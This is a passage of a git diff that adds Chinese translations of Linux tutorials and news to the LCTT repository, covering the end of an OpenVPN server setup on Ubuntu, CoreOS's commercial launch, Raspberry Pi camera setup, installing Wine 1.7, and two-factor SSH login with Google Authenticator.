+等会我们的OpenVPN服务器就要启动并运行了。但是开始的时候,我们需要更改一些设置。在/usr/share/doc/openvpn/examples/sample-config-files中有一个示例配置文件,它很适合我们的教程,这个文件叫server.conf.gz: + + root@delta:/etc/openvpn/easy-rsa# cd /etc/openvpn + root@delta:/etc/openvpn# cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz . + root@delta:/etc/openvpn# gunzip -d server.conf.gz + root@delta:/etc/openvpn# mv server.conf delta.conf + root@delta:/etc/openvpn# + +如你所见,我们把server.conf.gz拷贝到/etc/openvpn,解压并重命名到delta.conf。你可以按个人喜好给OpenVPN服务器配置文件取名字,但是它必须有".conf"扩展名。我们现在用nano打开配置文件: + + root@delta:/etc/openvpn# nano delta.conf + +下面是我们应该做出的更改。 + +- 首先,定位到这一行 + + cert server.crt + key server.key + +确认OpenVPN服务器证书和私钥的位置和名称,在我们的例子中,这两行要改成 + + cert delta.crt + key delta.key + +- 然后定位到这一行 + + dh dh1024.pem + +用"2048"代替"1024": + + dh dh2048.pem + +- 在配置文件的末尾,我们添加下面这两行: + + push "redirect-gateway def1" + push "dhcp-option DNS 10.8.0.1" + +最后这两行指示客户端用OpenVPN作为默认的网关,并用10.8.0.1作为DNS服务器。注意10.8.0.1是OpenVPN启动时自动创建的隧道接口的IP。如果客户用别的域名解析服务,那么我们就得提防不安全的DNS服务器。为了避免这种泄露,我们建议所有OpenVPN客户端使用10.8.0.1作为DNS服务器。 + +我们以这种方式来开始运行OpenVPN服务器: + + root@delta:/etc/openvpn# service openvpn start + +默认的,OpenVPN服务器监听1194/UDP端口。一种查看的方法是使用netstat工具: + + root@delta:/etc/openvpn# netstat -anup + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name + udp 0 0 0.0.0.0:54149 0.0.0.0:* 555/dhclient + udp 0 0 0.0.0.0:1194 0.0.0.0:* 3024/openvpn + udp 0 0 0.0.0.0:53 0.0.0.0:* 2756/dnsmasq + udp 0 0 0.0.0.0:68 0.0.0.0:* 555/dhclient + udp6 0 0 :::60622 :::* 555/dhclient + udp6 0 0 :::53 :::* 2756/dnsmasq + +看起来一切运行的不错,但是我们还没设置DNS服务器呢。 + +### 第七步 为OpenVPN客户端搭建DNS ### + +这就是为什么我们要安装dnsmasq的原因,打开它的配置文件。 + + root@delta:/etc/openvpn# nano /etc/dnsmasq.conf + +定位到这行: + + #listen-address= + +把它换成下面这样: + + listen-address=127.0.0.1, 10.8.0.1 + +然后定位到这行: + + #bind-interfaces + +把"#"删了: + + bind-interfaces + +为了让dnsmasq应用这些更改,我们重启它: + + root@delta:/etc/openvpn# service dnsmasq restart + * Restarting DNS forwarder and DHCP server dnsmasq [ OK ] + root@delta:/etc/openvpn# + +现在,dnamasq在本地回环(lo)和隧道(tun0)接口监听DNS请求。netstat的输出看起来是这个样子的: + + root@delta:/etc/openvpn# netstat -anup + Active Internet connections (servers and established) + Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name + udp 0 0 0.0.0.0:57219 0.0.0.0:* 638/dhclient + udp 0 0 0.0.0.0:1194 0.0.0.0:* 911/openvpn + udp 0 0 127.0.0.1:53 0.0.0.0:* 1385/dnsmasq + udp 0 0 10.8.0.1:53 0.0.0.0:* 1385/dnsmasq + udp 0 0 0.0.0.0:68 0.0.0.0:* 638/dhclient + udp6 0 0 :::39148 :::* 638/dhclient + +### 第八步 路由功能 ### + +我们希望在一些机器或虚拟机上运行的OpneVPN有路由的功能,这意味着要开启IP转发。为了打开它,我们用root账户键入: + + root@delta:/etc/openvpn# echo "1" > /proc/sys/net/ipv4/ip_forward + +为了让这个设置重启也好用,我们编辑 /etc/sysctl.conf: + + root@delta:/etc/openvpn# nano /etc/sysctl.conf + +编辑这行: + + #net.ipv4.ip_forward=1 + +把"#"删了: + + net.ipv4.ip_forward=1 + +还需要激活一些iptables相关的规则: + + root@delta:/etc/openvpn# iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + root@delta:/etc/openvpn# iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT + root@delta:/etc/openvpn# iptables -A FORWARD -j REJECT + root@delta:/etc/openvpn# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE + root@delta:/etc/openvpn# + +当然了,我们希望每次Ubuntu启动的时候,这些规则都好用。所以我们得把它们加到/etc/rc.local里: + + #!/bin/sh -e + # + # rc.local + # + # This script is executed at the end of each multiuser runlevel. + # Make sure that the script will "exit 0" on success or any other + # value on error. + # + # In order to enable or disable this script just change the execution + # bits. + # + # By default this script does nothing. + + iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT + iptables -A FORWARD -s 10.8.0.0/24 -j ACCEPT + iptables -A FORWARD -j REJECT + iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE + + service dnsmasq restart + + exit 0 + +请注意倒数第二行: + +service dnsmasq restart + +> 这非常重要:在系统启动时,dnsmasq会尝试在OpenVPN之前启动。但是OpenVPN启动之前是没有隧道(tun0)接口的,所以dnsmasq自然就挂了。过了一阵,当/etc/rc.local读到隧道(tun0)接口出现时,它会在这时重启dnsmasq然后就一切如你所愿了。 + +### 第九步 客户端设置 ### + +在第五步,我们在用户的home目录里我们建立了ovpn-client文件夹(在我们的例子里是/home/sub0)。在哪里有CA的证书和客户端证书和私钥。现在只缺客户端配置文件了,在/usr/share/doc/openvpn/examples/sample-config-files有一个示例配置文件: + + root@delta:/etc/openvpn# exit + exit + sub0@delta:~$ cd ~/ovpn-client + sub0@delta:~/ovpn-client$ cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf . + sub0@delta:~/ovpn-client$ + +我们需要编辑client.conf,定位到这一行: + + remote my-server-1 1194 + +"my-server-1"是一个占位符,现在我们要把它换成我们自己服务器的公网域名或IP。如果我们已经给服务器分配域名了,那只要把它填到my-server-1的位置。如果没有域名,那么得获取公网IP。如何获取呢?一种方式是键入下列命令: + + sub0@delta:~/ovpn-client$ curl ipecho.net/plain ; echo + +(如果不是一个数字的IP地址, 或是发生错误,那就等会再试。)所以我们现在知道我们的服务器公网IP了,但是它是动态的还是静态的呢?当我们把服务器架设在家或者办公室的时候,极有可能就是动态IP。如果是动态IP的话,可以用免费的动态域名服务(DDNS),比如[No-IP](http://www.noip.com)的服务。如果使用No-IP,假设我们选择了免费的域名dnsalias.net,那么这一行应该像这样填写: + + remote ovpn.dnsalias.net 1194 + +"ovpn"是我们给服务器起的主机名。如果我们的服务器在云上,那么它可能有一个静态IP。如果有静态IP的话,那么这一行应该是这样的: + + remote 1.2.3.4 1194 + +还要修改两行: + + cert client.crt + key client.key + +在我们的例子里,客户端的证书和密钥的名字分别是laptop.crt和laptop.key所以我们的client.conf要包含下面这两行: + + cert laptop.crt + key laptop.key + +在确认保存client.conf的修改之后,我们需要安全的把整个ovpn-client文件夹传输到客户端。一种方式是使用scp命令(安全拷贝或在SSH上拷贝)。另一种方式由优秀而免费的软件FileZilla提供,使用在SSH上运行的FTP(SFTP)。 + +### 第十步 连接并测试 ### + +![](http://parabing.com/assets/uploads/2014/06/01-Firewall.png) + + +所以我们到底怎么样才能链接到远程的OpenVPN服务器的呢?它完全取决于我们手中现有的设备类型,当然也取决于所运行的操作系统。我们将在四种不同类别的操作系统上运行,Linux, Windows, OS X和iOS/Android。注意,无论在什么设备和系统上,我们都得在OpenVPN服务器的本地网络外才能连接成功。此外,如果在服务器前有防火墙,我们需要增加一条这样的规则: + +*把所有从1194/UDP端口收到的包转发到服务器公网接口的1194/UDP端口。* + +这是一个简单的防火墙规则。事不宜迟,让我们与我们难以置信的OpenVPN服务器建立第一个连接吧。 + +**Linux**: 我们只需安装openvpn包。一种连接远程OpenVPN服务器的方式是新建一个终端,切换到ovpn-client文件夹并以root身份或使用sudo来键入下列命令: + + /usr/sbin/openvpn --config client.conf + +任何时候如果我们需要终止OpenVPN,按[CTRL+C]就行了。 + +**Windows**: 有一个免费的OpenVPN客户端软件叫做[OpenVPN Desktop Client][3]。 配置文件client.conf需要重命名成client.ovpn,这就是我们需要提供给OpenVPN Desktop Client的文件。程序会读取client.ovpn并给OpenVPN服务器生成一个新的连接配置。 + +![](http://parabing.com/assets/uploads/2014/06/02-Connected.jpg) + +**OS X**: [tunnelblick][4]是一款可以连接OpenVPN的免费开源OS X软件。[Viscosity][5]也可以但它是商业软件,不过我们喜欢。Viscosity会读取client.conf并给OpenVPN服务器生成一个新的连接配置。 + +**iOS/Android**: OpenVPN connect是绝佳的选择。它是免费的且可以从[App Store][6]和[Google Play store][7]获得 + +不管是什么平台,有时我们想检验我们是否真的使用OpenVPN连接了。一种检验方法是完成下面这简单的4步: + +在连接到OpenVPN服务器前我们需要… + +- 打开[whatip.com][8]记录我们的公网IP +- 打开[dnsleaktest.com][10],运行标准测试(standard test),记录我们的域名解析服务器 + +![](http://parabing.com/assets/uploads/2014/06/03-DNS.png) + +在连接到OpenVPN服务器后重复这两部。如果我们获取到两个不同的公网IP,这意味着我们的网络出口已在远端OpenVPN服务器那。此外,如果获取了两个不同的域名解析服务器,那么就不存在DNS泄露的问题了。 + +### 感言 ### + +我用了三个不同的OpenVPN服务器,都是定制的。 一个运行在希腊Thessaloniki的家庭办公室的pfSense路由。当我不在办公室时,我用这个服务器安全的连接到局域网。剩下的两个服务器在两个不同的VPS上,一个在冰岛雷克雅未克,另一个在美国纽泽西州。当我在外面且需要任意用一个WiFi热点的时候,我不必考虑安全问题:我只需简单的连接到雷克雅未克的服务器然后正常上网。有时我想看看那些限制用户地理位置在美国的服务。在这种不太常见的情况下,新泽西的服务器就派上用场了,当我连接时,我就获得了美国的一个公网IP,这样就可以访问有地理位置限制的服务了。值得注意的是,一些服务会把一些知名的VPN公司的IP列入黑名单。这是在你选的VPS提供商建立自己的OpenVPN*十分重要*的一个优点:这不大可能被列入黑名单。 + +无论你的物理位置在哪, OpenVPN确保客户端和服务器之间的数据流是高度加密的。没有OpenVPN的数据则是另一种情况。 取决于不同的应用层协议,它可能仍然是加密的,但它也可能是未加密的。所以除非你对OpenVPN服务器和它的本地网络有绝对的控制权,你不能完全相信另一端的管理员。这种精神是显而易见的:如果你真的在乎你自己的隐私,那么你需要注意你的行为可能在破坏它。 + +一个例子是我们希望点对点传输。我们有一个在云上配置好的OpenVPN服务器。当需要任意用一个WiFi热点的时候,你没有丝毫的担心,因为你连在OpenVPN服务器上。然后你打开你最喜欢的电子邮件客户端从一个依然使用SMTP的老服务器收信。你猜会发生什么?你的用户名和密码以未加密的纯文本格式离开OpenVPN服务器。与此同时一个在你OpenVPN服务器附近的鬼鬼祟祟的管理员很容易就嗅探出你的证书并记录到他们越来越长的名叫"random happy people.txt"的列表。 + +所以你该做什么?很简单。你应该继续使用OpenVPN服务器,但不要使用应用了旧的或不安全的协议的应用程序。 + +享受你的OpenVPN服务器吧! + +-------------------------------------------------------------------------------- + +via: http://parabing.com/2014/06/openvpn-on-ubuntu/ + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://zh.wikipedia.org/wiki/Openvpn +[2]:http://www.ubuntu.com/server +[3]:http://swupdate.openvpn.net/downloads/openvpn-client.msi +[4]:https://code.google.com/p/tunnelblick +[5]:https://www.sparklabs.com/viscosity +[6]:https://itunes.apple.com/us/app/openvpn-connect/id590379981?mt=8 +[7]:https://play.google.com/store/apps/details?id=net.openvpn.openvpn +[8]:http://www.whatip.com/ +[9]:https://dnsleaktest.com/ diff --git a/published/201408/20140702 CoreOS Linux ending the upgrade cycle.md b/published/201408/20140702 CoreOS Linux ending the upgrade cycle.md new file mode 100644 index 0000000000..e8d8f04ddb --- /dev/null +++ b/published/201408/20140702 CoreOS Linux ending the upgrade cycle.md @@ -0,0 +1,50 @@ +CoreOS Linux终结升级周期 +================================================================================ +> CoreOS发布了他的Linux发行版的商用支持版,并且宣称将废除手动更新。 + +国际数据集团新闻社消息——CoreOS发布了商用Linux发行版,以期能简化系统管理员的生活。这个Linux发行版可持续进行自动更新,不需要进行重大升级。 + +CoreOS提供其同名的Linux发行版做为商业服务,开始为一个月100美元。 + +“商家现在可以开始考虑将CoreOS作为他们系统团队的延伸,对于企业Linux客户,这将是他们会需要的最后一次迁移。”CoreOS的创始人和CEO在一份声明中这样说。 + +商业Linux订阅并不是什么新鲜事:[Red Hat][2]和[Suse][3]都在为他们各自的发行版提供商业订阅。 + +因为这些以Linux为基础的公司使用的应用程序和库都是开源和免费提供的,所以订阅的费用不包括软件本身,而收费来自更新、漏洞修复、集成以及发生问题时的技术支持。 + +CoreOS公司声称,CoreOS将会和这些发行版不同,它将不会有重大更新,而在那些发行版中这些更新通常需要一次更新所有的包。在CoreOS中,它的更新和新特征将会在就绪后自动安装入操作系统中。 + +服务中提供了一个叫做CoreUpdate的仪表盘,如果管理员不想自动更新所有包,它可用于标明选取哪些软件包获取更新。 + +CoreUpdate可以同时管理多个机器,而且提供了回滚功能——在更新引起问题可使用。 + +CoreOS于去年十二月发布,它的设计旨在[关注][4]开源操作系统内核的新兴使用——用于大量基于云计算的虚拟服务器。 + +CoreOS的设计使其平均消耗要少于其他Linux发行版通常消耗的一半。系统中所有的程序运行在Docker虚拟化容器中,所以它们几乎可以在瞬间就开始运行。 + +[由于CoreOS分为两部分的新用法][5]使其更新更为容易。一部分放置当前版本的系统,而另一部分系统来进行升级,平滑地进行升级包或者整个系统。 + +CoreOS服务可以运行在本地,或者在Amazon,Google和Rackspace云服务上。 + +CoreOS周一还宣布他们收到了来自Kleiner Perkins Caulfield and Byers风险投资公司的800万美元的支持。他们此前还收到了红杉资本和斐然资本的投资。 + +---------- + +作者Joab Jackson负责IDG新闻服务机构中企业软件和通用技术的新闻。Twitter上关注Joab[@Joab_Jackson][6]。Joab的电子邮箱地址是[Joab_Jackson@idg.com][7] + + +-------------------------------------------------------------------------------- + +via: http://www.computerworld.com/s/article/9249460/CoreOS_Linux_ending_the_upgrade_cycle?taxonomyId=122 + +译者:[linuhap](https://github.com/linuhap) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://coreos.com/products/managed-linux/plans/ +[2]:http://www.redhat.com/about/subscription/ +[3]:https://www.suse.com/support/programs/subscriptions/ +[4]:http://www.networkworld.com/article/2177120/cloud-computing/coreos-linux-distro-lands-on-the-google-cloud-platform.html +[5]:https://coreos.com/using-coreos/updates/ +[6]:http://twitter.com/Joab_Jackson +[7]:Joab_Jackson@idg.com diff --git a/published/201408/20140702 How to install Raspberry Pi camera board.md b/published/201408/20140702 How to install Raspberry Pi camera board.md new file mode 100644 index 0000000000..381ad861ce --- /dev/null +++ b/published/201408/20140702 How to install Raspberry Pi camera board.md @@ -0,0 +1,109 @@ +如何安装树莓派摄像头模块 +============================================================================== +[树莓派摄像头模块(Pi Cam)][1]发售于2013年5月。其第一个发布版本配备了500万像素的传感器,通过排线链接树莓派上的CSI接口。而Pi Cam的第二个发布版本——也被叫做[Pi NoIR][2]中,配备了相同的传感器,但没有红外线过滤装置。因此第二版的摄像头模块就像安全监控摄像机一样,可以观测到近红外线的波长(700 - 1000 nm),不过当然同时也就牺牲了一定的显色性。 + +本文将会展示**如何在[树莓派][3]上安装摄像头模块**。我们将使用第一版摄像头模块来演示。在安装完摄像头模块之后,你将会使用三个应用程序来访问这个模块:raspistill, raspiyuv 和raspivid。其中前两个应用用来捕捉图像,第三个应用来捕捉视频。raspistill 工具生成标准的图片文件,例如 .jpg 图像,而 raspiyuv 可以通过摄像头生成未处理的 raw 图像文件。 + +### 安装树莓派摄像头模块 ### + +按照以下步骤来将树莓派摄像头模块连接搭配树莓派: + +1. 找到 CSI 接口(CSI接口在以太网接口旁边),掀起深色胶带。 + +2. 拉起 CSI 接口挡板。 + +3. 拿起你的摄像头模块,将贴在镜头上的塑料保护膜撕掉。确保黄色部分的PCB(有字的一面)是安装完美的(可以轻轻按一下黄色的部分来保证安装完美)。 + +4. 将排线插入CSI接口。记住,有蓝色胶带的一面应该面向以太网接口方向。同样,这时也确认一下排线安装好了之后,将挡板拉下。 + +![](https://farm3.staticflickr.com/2938/14529915452_0910b2e13f_z.jpg) + +好了,现在你的 Pi Cam 已经准备就绪,可以拍摄照片或视频了。 + +### 在树莓派上启用摄像头模块 ### + +在安装完摄像头模块之后,首先要确认你已经升级了树莓派系统并应用了最新的固件。可以输入以下命令来操作: + + $ sudo apt-get update + $ sudo apt-get upgrade + +运行树莓派配置工具来激活摄像头模块: + + $ sudo raspi-config + +移动光标至菜单中的 "Enable Camera(启用摄像头)",将其设为Enable(启用状态)。完成之后重启树莓派。 + +![](https://farm4.staticflickr.com/3837/14530918915_e68ca0beef_z.jpg) + +![](https://farm3.staticflickr.com/2922/14344284230_6cabbe2522_z.jpg) + +![](https://farm3.staticflickr.com/2923/14529915362_7a437a53cb_z.jpg) + +安装完摄像头模块后的完成照: + +![](https://farm3.staticflickr.com/2924/14551046653_1c37e077fd_z.jpg) + +### 通过摄像头模块拍照 ### + +在重启完树莓派后,我们就可以使用Pi Cam了。要用它来拍摄照片的话,可以从命令行运行raspistill: + + $ raspistill -o keychain.jpg -t 2000 + +这句命令将在 2000ms 后拍摄一张照片,然后保存为 keychain.jpg。下面就是一张由 Pi Cam 拍摄的我的小熊公仔钥匙链。 + +![](https://farm4.staticflickr.com/3845/14530919095_ea0f37045a_z.jpg) + +raspiyuv 工具用法差不多,只不过拍摄得到的是一张未处理过的raw图像。 + +### 通过摄像头模块拍视频 ### + +想要用摄像头模块拍一段视频的话,可以从命令行运行 raspivid 工具。下面这句命令会按照默认配置(长度5秒,分辨率1920x1080,比特率 17Mbps)拍摄一段视频。 + + $ raspivid -o mykeychain.h264 + +如果你想改变拍摄时长,只要通过 "-t" 选项来设置你想要的长度就行了(单位是毫秒)。 + + $ raspivid -o mykeychain.h264 -t 10000 + +使用 "-w" 和 "-h" 选项将分辨率降为 1280x720... + + $ raspivid -o mykeychain.h264 -t 10000 -w 1280 -h 720 + +raspivid 的输出是一段未压缩的 H.264 视频流,而且这段视频不含声音。为了能被通常的视频播放器所播放,这个 raw 的 H.264 视频还需要转换。可以使用 gpac 包中所带有的 MP4Box 应用。 + +在 Raspbian 上安装 gpac,输入命令: + + $ sudo apt-get install -y gpac + +然后将这段 raw 的 H.264 格式的视频流转换为每秒30帧的 .mp4 格式视频: + + $ MP4Box -fps 30 -add keychain.h264 keychain.mp4 + +视频长度为10秒,使用默认分辨率以及比特率。下面是一段通过 Pi Camera 拍摄的一段实例视频。 + +注:youtube视频地址 + + + +如果想要获取 raspistill, raspiyuv 和 raspivid 的完整命令行选项,不加任何选项直接运行以上命令即可。 + + +---------------- + +### [Kristophorus Hadiono][a] ### + +Kristophorus Hadiono是一名 Linux 爱好者,并且是印度尼西亚一所民办高等学府的教师。他在日常生活中使用 Linux,也在给学生们教学的时候使用。他现在仍靠着政府的奖学金,在泰国曼谷的一所民办大学继续着学业。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/install-raspberry-pi-camera-board.html + +译者:[ThomazL](https://github.com/ThomazL) 校对:[reinoir](https://github.com/reinoir) + +本文由 [lctt](https://github.com/lctt/translateproject) 原创翻译,[linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/go/picam +[2]:http://xmodulo.com/go/pinoir +[3]:http://xmodulo.com/go/raspberrypi +[a]:http://hadiono.org/blog + diff --git a/published/201408/20140702 Wine 1.7.21 (Development Version) Released--Install in RedHat and Debian Based Systems.md b/published/201408/20140702 Wine 1.7.21 (Development Version) Released--Install in RedHat and Debian Based Systems.md new file mode 100644 index 0000000000..a87503360e --- /dev/null +++ b/published/201408/20140702 Wine 1.7.21 (Development Version) Released--Install in RedHat and Debian Based Systems.md @@ -0,0 +1,75 @@ +在基于RedHat或Debian的系统上安装 Wine 1.7 +================================================================================ +Wine,Linux上最流行也是最有力的软件, 可以顺利地在Linux平台上运行Windows程序和游戏。 + +![安装Wine ](http://www.tecmint.com/wp-content/uploads/2014/05/Install-Wine-Development-Version.png) + +这篇文章教你怎么在像CentOS, Fedora, Ubuntu, Linux Mint一样基于**Red Hat**和**Debian**的系统上安装最新的**Wine 1.7**。 + +### 在Linux安装 Wine 1.7 ### + +不幸的, 在基于**Red Hat**的系统上没有官方的 Wine 仓库,所以唯一的安装方式是从源码编译。你需要安装一些依赖的包比如gcc, flex, bison, libX11-devel freetype-devel 和 Development Tools,这些包用来从源码编译Wine。我们可以用**yum**命令安装他们。 + +#### 在 RedHat, Fedora 和 CentOS 上 #### + + # yum -y groupinstall 'Development Tools' + # yum -y install flex bison libX11-devel freetype-devel + +接下来,下载最新的开发版本(如**1.7.21**)并用下面的命令解压。 + + $ cd /tmp + $ wget http://citylan.dl.sourceforge.net/project/wine/Source/wine-1.7.21.tar.bz2 + $ tar -xvf wine-1.7.21.tar.bz2 -C /tmp/ + +现在,要以普通用户身份编译并搭建Wine的安装程序。(**注意**: 根据机器性能和网络速度的不同,安装过程需要 **15-20** 分钟,安装过程中会要求输入 **root** 密码。) + +**32位系统上** + + $ cd wine-1.7.21/ + $ ./tools/wineinstall + +**64位系统上** + + $ cd wine-1.7.21/ + $ ./configure --enable-win64 + $ make + # make install + +#### 在Ubuntu, Debian 和 Linux Mint 上 #### + +在基于**Ubuntu** 的系统上, 你可以用官方的 **PPA**来轻松安装最新的Wine。打开一个新终端用sudo运行如下命令。 + + $ sudo add-apt-repository ppa:ubuntu-wine/ppa + $ sudo apt-get update + $ sudo apt-get install wine 1.7 winetricks + +一旦装完了,你可以以如下方式运行基于Windows的软件和游戏。 + + $ wine notepad + $ wine notepad.exe + $ wine c:\\windows\\notepad.exe + +**注意**: 请记住,如果是开发版本不要用在生产环境。 建议只用在测试用途 + +如果你想安装最近的稳定版Wine, 请看下面的文章, 在文章里介绍了在几乎所以Linux系统中安装Wine的方法 + +- [Install Wine 1.6.2 (Stable) in RHEL, CentOS and Fedora][2] +- [Install Wine 1.6.2 (Stable) in Debian, Ubuntu and Mint][3] + +### 参考链接 ### + +- [WineHQ Homepage][4] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-wine-in-linux/ + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.winehq.org/announce/1.7.21 +[2]:http://www.tecmint.com/install-wine-in-rhel-centos-and-fedora/ +[3]:http://www.tecmint.com/install-wine-on-ubuntu-and-linux-mint/ +[4]:http://www.winehq.org/ +[5]:http://www.tecmint.com/ \ No newline at end of file diff --git a/published/201408/20140709 How to set up two-factor authentication for SSH login on Linux.md b/published/201408/20140709 How to set up two-factor authentication for SSH login on Linux.md new file mode 100644 index 0000000000..270f72655c --- /dev/null +++ b/published/201408/20140709 How to set up two-factor authentication for SSH login on Linux.md @@ -0,0 +1,168 @@ +如何为Linux系统中的SSH添加双重认证 +================================================================================ +近来很多知名企业都出现了密码泄露,业内对多重认证的呼声也越来越高。在这种多重认证的系统中,用户需要通过两种不同的认证程序:提供他们知道的信息(如 用户名/密码),再借助其他工具提供用户所不知道的信息(如 用手机生成的一次性密码)。这种组合方式常叫做双因子认证或者两阶段验证。 + +为了鼓励广泛采用双因子认证的方式,Google公司发布了[Google Authenticator][1],一款开源的,可基于开放规则(如 HMAP/基于时间)生成一次性密码的软件。这是一款跨平台软件,可运行在Linux, [Android][2], [iOS][3]。Google公司同时也支持插件式鉴别模块PAM(pluggable authentication module),使其能和其他也适用PAM进行验证的工具(如OpenSSH)协同工作。 + +在本教程中,我们将叙述集成OpenSSH和Google提供的认证器实现**如何为SSH服务设置双因子认证**。我将使用一款[Android][4]设备来生成一次性密码,本教程中需要两样武器:(1)一台运行着OpenSSH服务的Linux终端,(2)一台安卓设备。 + +### 在Linux系统中安装Google Authenticator ### + +第一步需要在运行着OpenSSH服务的Linux主机上安装Google认证器。按照如下步骤安装Google认证器及其PAM模块。 + +#### 用安装包安装 Google Authenticator #### + +如果你不想自己构建 Google Authenticator,在几个 Linux 发行版上有已经编译好的安装包。安装包里面包含 Google Authenticator 二进制程序和 PAM 模块。 + +在 Ubuntu 上安装 Google Authenticator: + + $ sudo apt-get install libpam-google-authenticator + +在 Fedora 上安装 Google Authenticator: + + $ sudo yum install google-authenticator + +在 CentOS 上安装 Google Authenticator ,需要首先启用 EPEL 软件库,然后运行如下命令: + + $ sudo yum install google-authenticator + +如果不想使用已经编译好的安装包,或者你的 Linux 发行版不在此列,可以自行编译: + +#### 在 Linux 上 Google Authenticator #### + +首先,安装构建 Google Authenticator 所需的软件包。 + +在 Debian、 Ubuntu 或 Linux Mint 上: + + $ sudo apt-get install wget make gcc libpam0g-dev + +在 CentOS、 Fedora 或 RHEL上: + + $ sudo yum install wget make gcc pam-devel + +然后下载 Google Authenticator 的源代码,并按如下命令编译。 + + $ wget https://google-authenticator.googlecode.com/files/libpam-google-authenticator-1.0-source.tar.bz2 + $ tar xvfvj libpam-google-authenticator-1.0-source.tar.bz2 + $ cd libpam-google-authenticator-1.0 + $ make + +如果构建成功,你会在目录中看到 pam_google_authenticator.so 和 google-authenticator 两个文件。 + +最后,将 Google Authenticator 安装到合适位置 + + $ sudo make install + + +#### 排错 #### + +当编译 Google Authenticator 时出现如下错误: + + fatal error: security/pam_appl.h: No such file or directory + +要修复这个问题,请安装如下依赖包。 + +在 Debian、 Ubuntu 或 Linux Mint 上: + + $ sudo apt-get install libpam0g-dev + +在 CentOS、 Fedora 或 RHEL 上: + + $ sudo yum install pam-devel + + +当Google认证器安装好后,你需要在Linux主机上创建验证密钥,并且在安卓设备上注册,注意这项配置操作是一次性的。我们将详细叙述如何完成这些操作: + +### 生成验证密钥 ### + +在Linux主机上运行Google认证器 + + $ google-authenticator + +你将看到一个QR码,它使用如下图形表示我们数字形态的密钥。一会我们要用到它在安卓设备上完成配置。 + +![](https://farm4.staticflickr.com/3843/14573264401_d3f5a2f247_z.jpg) +![](https://farm4.staticflickr.com/3848/14390010599_18dfc23d76_z.jpg) + +Google认证器会问一些问题,如果你不确定,就回答"Yes"。这个应急备用验证码(图中 emergency scratch codes)可以在你由于丢失了绑定的安卓设备的情况下(所以不能得到生成的一次性密码)恢复访问。最好将应急备用验证码妥善保存。 + +### 在安卓设备上运行Google认证器 ### + +我们需要在安卓设备上安装[Google Authenticator app][6]才能完成双因子认证,到Google Play下载并安装一个。在安卓设备上运行Google认证器,找到下图所示中的配置菜单。 + +![](https://farm6.staticflickr.com/5574/14554094476_bfc070d242_z.jpg) + +你可以选择"Scan a barcode" 或者"Enter provided key"选项。"Scan a barcode"允许你扫描QR码来完成密钥的输入,在此可能需要先安装扫描软件[Barcode Scanner app][7]。如果选择"Enter provided key"选项,你可以使用键盘输入验证密钥,如下图所示: + +![](https://farm6.staticflickr.com/5535/14596723603_d510dbe48d_z.jpg) + +无论采用上述两种选项的任何方式,一旦成功,你将看到注册成功提示和一次性密码,如下图所示: + +![](https://farm6.staticflickr.com/5586/14390009579_5ba109bf5b_z.jpg) + +### 为SSH服务器用Google认证器 ### + +最终我们需要修改两个文件来完成集成Google认证器和OpenSSH服务这临门一脚。 + +首先,修改PAM配置文件,命令和需添加的内容如下: + + $ sudo vi /etc/pam.d/sshd + +---------- + + auth required pam_google_authenticator.so + +然后打开SSH配置文件,找到参数ChallengeResponseAuthentication,并启用它。 + + $ sudo vi /etc/ssh/sshd_config + +---------- + +ChallengeResponseAuthentication yes + + +最后,重启SSH服务。 + +在 Ubuntu、 Debian 和 Linux Mint 上: + + $ sudo service ssh restart + +在Fedora (或 CentOS/RHEL 7)上: + + $ sudo systemctl restart sshd + +在CentOS 6.x或 RHEL 6.x上: + + $ sudo service sshd restart + +### 验证双因子认证 ### + +在绑定的安卓设备上运行Google认证器,获得一个一次性验证码,该验证码30秒内有效,一旦过期,将重新生成一个新的验证码。 + +![](https://farm3.staticflickr.com/2937/14389989618_d9355dcbb2_z.jpg) + +现在和往常一样,使用SSH登录终端 + + $ ssh user@ssh_server + +当提示你输入验证码的时候,输入我们刚获得的验证码。验证成功后,再输入SSH的登录密码。 + +![](https://farm3.staticflickr.com/2938/14389952480_93351f12a4_z.jpg) + +双因子认证通过在用户密码前新增一层来有效的保护我们脆弱的用户密码。你可以使用Google认证器来保护我们其他的密码,如Google账户, WordPress.com, Dropbox.com, Outlook.com等等。是否使用这项技术,取决于我们自己,但采用双因子认证已经是行业的大趋势了。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/two-factor-authentication-ssh-login-linux.html + +译者:[nd0104](https://github.com/nd0104) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://code.google.com/p/google-authenticator/ +[2]:https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2 +[3]:https://itunes.apple.com/us/app/google-authenticator/id388497605 +[4]:http://xmodulo.com/go/android_guide +[5]:http://ask.xmodulo.com/install-google-authenticator-linux.html +[6]:https://play.google.com/store/apps/details?id=com.google.android.apps.authenticator2 +[7]:https://play.google.com/store/apps/details?id=com.google.zxing.client.android diff --git a/published/201408/20140711 How To Enable Tab Complete Heroku Commands In Oh-My-Zsh.md b/published/201408/20140711 How To Enable Tab Complete Heroku Commands In Oh-My-Zsh.md new file mode 100644 index 0000000000..9024e5c351 --- /dev/null +++ 